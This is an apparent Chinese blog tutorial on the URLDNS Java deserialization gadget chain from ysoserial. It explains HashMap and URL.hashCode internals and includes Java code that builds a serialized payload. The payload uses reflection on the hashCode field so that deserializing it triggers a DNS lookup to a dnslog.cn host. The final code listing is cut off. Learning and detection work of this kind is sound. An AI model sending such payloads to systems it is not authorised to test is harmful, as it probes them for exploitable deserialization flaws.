URLDNS链
概述
URLDNS 就是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不不是一个可以“利用”的命令,而仅为一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。
虽然这个“利用链”实际上是不能“利用”的,但因为其如下的优点,非常适合我们在检测反序列化漏洞时使用:
- 使用Java内置的类构造,对第三方库没有依赖
- 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
利用链
1
2
3
4
5* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()HashMap底层原理
HashMap是Map的一个实现类,以数组+(链表或红黑树)实现。它是以键值对存储数据的,Key-Value都是Map.Entry中的属性
在实例化以后,底层创建了长度是16的一维数组
Entry[] table
,其中每个节点用Node表示1
2
3
4
5
6Node(int hash, K key, V value, Node<K,V> next) {
this.hash = hash;
this.key = key;
this.value = value;
this.next = next;
}当put一个键值对时,首先对key进行hash,其中hash中又调用hashcode方法,之后添加tab数组中添加node,源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
e = p;
else if (p instanceof TreeNode)
e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
else {
for (int binCount = 0; ; ++binCount) {
if ((e = p.next) == null) {
p.next = newNode(hash, key, value, null);
if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
treeifyBin(tab, hash);
break;
}
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
break;
p = e;
}
}
if (e != null) { // existing mapping for key
V oldValue = e.value;
if (!onlyIfAbsent || oldValue == null)
e.value = value;
afterNodeAccess(e);
return oldValue;
}
}
++modCount;
if (++size > threshold)
resize();
afterNodeInsertion(evict);
return null;
}
原理利用
java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求,关键代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u); //解析域名,发出DNS请求
return h;因此利用链就很显而易见了
代码
1
2
3HashMap<URL,Object> hashMap = new HashMap<>();
URL url = new URL("https://pxqb7n.dnslog.cn");
hashMap.put(url,123);可以看到收到DNS请求,下面将hashMap序列化。
1
2
3
4
5
6
7
8
9
10
11
12
13
14//由于new URL()中的hashCode=-1,因此反序列化时,不能进入DNS解析,因此需反射设置hashCode!=-1
HashMap<URL,Object> hashMap = new HashMap<>();
URL url = new URL("https://6g01re.dnslog.cn");
Class urlClass = URL.class;
Field fieldHashCode = urlClass.getDeclaredField("hashCode");
fieldHashCode.setAccessible(true);
fieldHashCode.set(url,123456);
hashMap.put(url,123);
fieldHashCode.set(url,-1);
serialize(hashMap);
//unSerialize("ser.bin");可以看到put时为收到DNS请求
反序列化时收到请求
总代码如下
1 | package urldns; |